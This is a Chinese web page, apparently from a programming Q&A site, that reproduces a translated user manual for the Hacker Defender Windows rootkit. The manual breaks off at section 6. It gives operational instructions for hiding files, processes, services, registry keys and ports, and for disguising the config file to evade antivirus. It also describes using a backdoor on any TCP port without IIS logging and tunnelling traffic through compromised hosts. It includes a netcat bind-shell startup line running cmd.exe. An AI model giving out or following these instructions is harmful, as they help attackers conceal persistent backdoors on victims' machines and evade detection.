當前位置:編程學習大全網 - 源碼下載 - hacker defend書籍裏大多數的代碼是什麽語言的啊?我看不懂怎麽辦?要學什麽才能看懂呢?

hacker defend書籍裏大多數的代碼是什麽語言的啊?我看不懂怎麽辦?要學什麽才能看懂呢?

Hacker defender 使用

=====[1,目錄]==============================================

1.

目錄

2. 概要

2.1 關於

2.2 申明

3. 使用說明

4. Ini文件說明

5.

Backdoor

5.1 Redirector

6. 技術支持

6.1 版本

6.2

鉤子API函數

6.3 已知的 bugs

7. Faq

8. 文件

=====[ 2.

關於]================================================

Hacker defender

(hxdef)是壹個使用於Windows NT 4.0, Windows 2000 以及Windows

XP操作系統的壹個NTROOKIT,它也能運行於之後的基於NT的操作系統。主要代碼是由DELPHI

6完成。新的功能使用匯編書寫。驅動代碼由C完成。後門和redirector客服端大部分使用 Delphi 6完成。

=====[ 2.1 概要

]=============================================

程序的主要功能是在所有運行中的進程中重寫分割內存,重寫壹些基本的模塊改變進程的狀態,它幾乎能夠改寫所有不影響系統穩定和正在運行中的進程。

程序能夠完全隱藏,現在能夠做的有隱藏文件、進程、系統服務、系統驅動、註冊表的鍵值和鍵、開放端口以及虛構可用磁盤空間。程序同時也在內存中偽裝它所做的改動,並且隱蔽地控制被隱藏進程。程序安裝後能構造後門、註冊表、系統服務,構造系統驅動。其本身的後門技術允許其植入

redirector。

=====[ 2.2

申明]====================================================

本項目1.0.0版本是開發源代碼。

使用Hacker

defender所造成的後果作者本人概不負責。

=====[ 3. 用法

]==================================================

壹個使用hxdef的簡單例子:

>hxdef100.exe [inifile]

或者

>hxdef100.exe [switch]

直接執行EXE文件,不帶任何的參數時候,默認的inifile文件為程序名.ini

當妳執行hedef100不指定ini文件,或者妳以參數模式運行時候,默認的文件是

hxdef100.ini。

下面的參數是有效的:

-:installonly - 只安裝服務,不運行

-:refresh - 從INI文件中更新設置

-:noservice - 正常運行不安裝服務

-:uninstall -

移除hxdef刪除所有運行的後門連接,同時停止hxdef服務

例如:

>hxdef100.exe

-:refresh

Hxdef擁有默認INI文件,但是我們強烈的推薦妳建立自己的ini文件。關於ini文件的介紹可以看第4部分ini文件部分。

參數

-:refresh and -:uninstall

來源於本來的EXE文件。這就意味這妳只要知道hxdef的運行路徑和EXE名,就能夠改變它的設置或者進行移除工作。

=====[ 4. Ini文件

]============================================

ini文件必須包含了9個部分: [Hidden Table],

[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],

[Startup Run], [Free Space], [Hidden Ports]和[Settings]。

在 [Hidden Table],

[Root Processes], [Hidden Services]和[Hidden RegValues]

中能夠使用*代替後面的字符,星號僅僅使用於字符的後面,任何在*之前的都是無效的。所有的在字符之前和之後的空格也是無效的。

例如:

[Hidden

Table]

hxdef*

將開始隱藏所有在Hidden

Table中以"hxdef"開頭的文件、文件夾和系統進程。

在該文件列表中的所有文件和文件夾都將在文件管理器中消失。在這個列表中的程序也會在任務管理器中被隱藏。必須確保主要文件,INI文件,妳的後門文件和驅動文件被包含在列表中。

在程序列表中的主進程對感染具有免淤能力,妳只能利用這些主程序才能看見隱藏的文件,文件夾和程序。所以,主進程是為rootkit管理員所使用的。

由服務和驅動所組成的Hidden

Services列表將會隱藏在數據庫中的安裝服務和驅動。rootkit主程序的服務名默認為HackerDefender100,rootkit驅動的驅動名默認為HackerDefenderDrv100。它們兩者都可以通過ini文件進行修改。

Hidden

RegKeys中列出的註冊表鍵值將會被隱藏,Rootkit在註冊表中有四個鍵值:默認的是HackerDefender100,

LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100

如果妳要重新命名服務名或者驅動名,妳需要在列表中做相應的改變。

開始2個鍵值是和妳的服務據用相同名字的,接下來的鍵值是LEGACY_名字。例如,如果妳改變妳的服務名稱為BoomThisIsMySvc

,那麽在註冊表中,應該是這樣表示的,LEGACY_BOOMTHISISMYSVC。

在Hidden

RegValues列出的註冊表的值將會被隱藏。

Startup

Run列表中列出的是rootkit程序運行之後的自啟動程序。這些程序和ROOTKIT具有壹樣的特權。程序名和它後面的參數以?分開。不要使用"字符,程序將會在用戶登陸以後終止,在用戶登陸以後可以使用壹般和常見的方法。妳可以使用下面這些快捷方式。

%cmd%標準系統的shell和路徑

%cmddir%標準系統的shell文件夾

%sysdir%

- 系統文件夾

(e.g. C:\winnt\system32\)

%windir% -

標準系統文件夾

(e.g. C:\winnt\)

%tmpdir% - 臨時文件夾

(e.g. C:\winnt\temp\)

例如:1)

[Startup Run]

c:\sys\nc.exe?-L -p

100 -t -e cmd.exe

nc-shell將會在rootkit運行以後監聽100端口

2)

[Startup

Run]

%cmd%?/c echo Rootkit started at %TIME%>>

%tmpdir%starttime.txt

將rootkit啟動時間保存在系統臨時文件夾夾starttime。Txt文件。

(%TIME%僅僅運行於Windows2000以上的操作系統。)

Free

Space中列出的驅動硬盤名和容量大小是妳想增加的硬盤,它的格式是X:NUM,其中X表示磁盤驅動器的名稱,NUM表示妳要增加的磁盤的容量。

例如:

[Free

Space]

C:123456789

這將在C盤增加大約123M的磁盤空間。

Hidden

Ports中列出的是妳需要隱藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp

View等的程序,它最多擁有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3

,第2行的格式是UDP:udpport1,udpport2,udpport3 ...例如:

1)

[Hidden

Ports]

TCP:8080,456

這將隱藏2個TCP端口:8080和456

2)

[Hidden

Ports]

TCP:8001

UDP:12345

這將隱藏2個端口:TCP的8001和UDP的12345。

3)

[Hidden

Ports]

TCP:

UDP:53,54,55,56,800

隱藏5個端口,都為UDP端口:53,54,55,56,800。

Settings包含了8個值:Password,

BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName,

ServiceDescription, DriverName 和

DriverFileName。

名。

16位字符的Password被用於後門鏈接和轉向,密碼能根據短壹些,余下的用空格代替。

BackdoorShell是復制於系統的SHELL文件,它被後門創建於壹個臨時的目錄下。

FileMappingName,當鉤子進程被存儲時,用於***享內存。

ServiceName是rootkit服務

ServiceDisplayName為rootkit顯示的服務

ServiceDescription位rootkit的服務描述

DriverName以hxdef驅動命名

DriverFileName以hxdef驅動文件命名

例如;

[Settings]

Password=hxdef-rulez

BackdoorShell=hxdef?.exe

FileMappingName=_.-=[Hacker

Defender]=-._

ServiceName=HackerDefender100

ServiceDisplayName=HXD Service

100

ServiceDescription=powerful NT

rootkit

DriverName=HackerDefenderDrv100

DriverFileName=hxdefdrv.sys

這就意味著妳的後門密碼為hxdef-rulez,後門將復制系統shell文件(通常是CMD.EXE)為hxdef?.exe到臨時目錄。***享內存將變為"_.-=[Hacker

Defender]=-._",服務名為"HackerDefender100",它顯示的名稱為"HXD Service 100",它的描述為"poweful NT

rootkit",驅動名為"HackerDefenderDrv100",驅動將被存儲於壹個叫做"hxdefdrv.sys"的文件中。

擴展字符|,

<, >, :, \, / 和 "在所有的行中都會被忽略,除了[Startup Run], [Free Space] 和 [Hidden

Ports] 項目和在 [Settings] 中first =

character後面的值。使用擴展字符能然妳的INIFILE文件擺脫殺毒軟件的查殺。

例如:

Example:

[H<<<idden

T>>a/"ble]

>h"xdef"*

和下面的是壹樣的。

[Hidden

Table]

hxdef*

更多的例如可以參照hxdef100.ini

和hxdef100.2.ini文件。

所有的在ini文件中的字符串除了那些在Settings 和 Startup

Run中的,都是無效的。

=====[ 5. Backdoor

]=========================================

Rootkit程序

Hook了壹些API的功能,連接接收壹些來自網絡的數據包。如果接收的數據等於256個字節,密碼和服務被確認,復制的SHELL被臨時創建,這種情況建立以後,下壹次的數據接收被重定向到這個SHELL上。

因為rootkit程序

Hook了系統中所有進程,所有在服務器上的TCP端口都將變為後門。例如,如果目標主機開放了提供HTTP服務的80端口,這個端口也能作為壹個有效的後門。例外的是這個開放端口的進程不會被Hook,這個後門僅僅工作於服務器的接收緩沖大於或者等於256個字節。但是這個特征幾乎適合於所有標準的服務,像IIS,APACHE,ORACLE等。後門能夠隱藏是因為所有的數據都通過系統上面提供的服務轉發。所以妳不能使用壹些簡單的端口掃描軟件找到它,並且它能輕易的穿過防火墻。

在測試發現IIS服務過程中,HTTP服務不能記錄任何的連接日記,FTP和SMTP服務器僅僅能記錄結束的斷開連接。所以,如果妳運行hxdef在有IIS

Web服務的服務器上面,HTTP端口跟妳是連接機器使用的後門的最好端口。

如果妳想連接後門的話,妳將不得不使用使用壹些特別的客戶端,程序bdcli100.exe就是被用於如此的。

用法:bdcli100.exe

host port password

例如:

>bdcli100.exe www.windowsserver.com 80

hxdef-rulez

連接服務器www.windowsserver.com使用默認的密碼。客戶端1.0.0版本不兼容其他老的版本。

=====[

5.1 Redirector

]==========================================

Redirector是基於後門技術。第壹個連接包和後門連接壹樣。這就意味著妳能使用相同的端口。下壹個包是僅僅為Redirector特殊的包,這些包由基於運行用戶電腦的重定向器生成.第壹個重定向的包連接特定的目標主機和端口。

Redirectors的設置保存在與EXE文件同名的INI文件中(所以默認的是rdrbs100.ini)。如果這個文件不存在,那麽在EXE文件運行的時候它會自動建立壹個。最好不要額外的修改INI文件。所有的設置都可以在console中進行改變。

當ROOTKIT被安裝時,如果我們需要使用服務器上面的redirectors功能,我們首先要在本地運行程序。在控制臺上我們可以在有HXDEF的服務器上面建立壹個映射端口路由。最後我們連接本地端口並且轉換數據。轉向的數據被rootkit的密碼加密。在這個版本中連接的速度被限制在256K左右。在這個版本中redirectors並不適合於高速連接。Redirectors也會受到安裝有rootkit的服務器的限制,而且Redirectors僅僅使用TCP協議連接。在這個版本中Redirectors

base有19條命令,他們並不是非常的敏感。關於功能的詳細描述可以使用HELP命令。在Redirectors

base啟動時,startup-list中的命令也被執行。startup-list中的命令可以用使用SU啟動的CMD進行編輯。

Redirector區分於2種連接類型(HTTP和其他)。如果連接是其他類型的,數據包將不會被改變。如果是HTTP類型,在HTTP文件頭的HOST參數將會改變為目標服務器。壹個base的最大Redirector數量是1000。

Redirector僅僅適用於NT結構,只有在擁有圖標的NT程序下妳才能使用HIDE命令隱藏控制臺。只有在NT下才能無聲無息的運行,沒有數據輸出,沒有圖標,僅僅執行startup-list中的命令。例子:1)得到端口映射信息

>MPINFO

No mapped ports in the

list.

2)增加MPINFO命令到startup-list並且得到startup-list中的命令。

>SUADD

MPINFO

>sulist

0) MPINFO

3)使用HELP命令。

>HELP

Type HELP COMMAND for command details.

Valid commands

are:

HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD,

DEL,

DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT,

TEST

>HELP ADD

Create mapped port. You have to specify domain

when using HTTP

type.

usage: ADD <LOCAL PORT> <MAPPING

SERVER> <MAPPING SERVER PORT>

<TARGET

SERVER>

<TARGET SERVER PORT> <PASSWORD> [TYPE] [DOMAIN]

>HELP

EXIT

Kill this application. Use DIS flag to discard unsaved data.

usage: EXIT

[DIS]

4)增加端口映射,我們在本地100端口進行監聽,ROOTKIT安裝在服務器200.100.2.36的80端口上,目標服務器是www.google.com80端口。,rootkit的密碼是bIgpWd,連接類型HTTP,目標主機(www.google.com)我們知道它的IP地址是216.239.53.100。

>ADD 100

200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com

ADD命令可以不加任何參數的運行,在這個例子中我們要求每壹個參數都要分開。

5)現在我們再使用MPINFO檢查壹下映射端口

>MPINFO

There are 1 mapped ports in the list. Currently 0 of them

open.

6)列舉端口映射表:

>LIST

000)

:100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP

7)壹個端口映射的詳細描述:

>DETAIL

0

Listening on port: 100

Mapping server address:

200.100.2.36

Mapping server port: 80

Target server address:

216.239.53.100

Target server port: 80

Password: bIgpWd

Port

type: HTTP

Domain name for HTTP Host: www.google.com

Current state:

CLOSED

8)在沒有密碼的情況下,我們能在端口映射服務器200.100.2.36上測試rootkit是否已經安裝(但是如果我們能確認它這樣做就不再需要)

>TEST 0

Testing 0) 200.100.2.36:80:bIgpWd –

OK

如果測試失敗則顯示:

Testing 0) 200.100.2.36:80:bIgpWd -

FAILED

9)在我們沒使用之前端口仍然是沒有開放的。我們不得不使用OPEN命令打開它,當端口開放時,我們也能使用CHOSE命令關閉端口。我們能使用標誌符ALL應用這些命令在列表中的所有端口,這個過程可能需要壹段的時間。

>OPEN 0

Port number 0 opened.

>CLOSE 0

Port number 0

closed.

或者 >OPEN ALL

Port number 0

opened.

10)要保存當前的設置和列表我們可以使用SAVE命令,將保存所有的設置到ini文件中。(保存也會通過命令EXIT執行,而不需要DIS標誌)

>SAVE Saved

successfully.

開的端口能夠轉換我們需要的所有數據。限制妳能打開妳喜歡的瀏覽器輸入網址的主頁。

第壹個數據包跟妳會延遲5秒鐘左右,但是其他的限制僅僅取決於服務器的速度,根據這個版本的轉向技術,妳聯網的速度大約在256K左右。

=====[

6.

技術發行]========================================

這部分包含了壹些對於普通用戶無關緊要的信息。這部分可能適合所有的測試者和開發人員閱讀

  • 上一篇:資金博弈指標公式是什麽內容?
  • 下一篇:介紹壹下軒轅劍。
  • copyright 2024編程學習大全網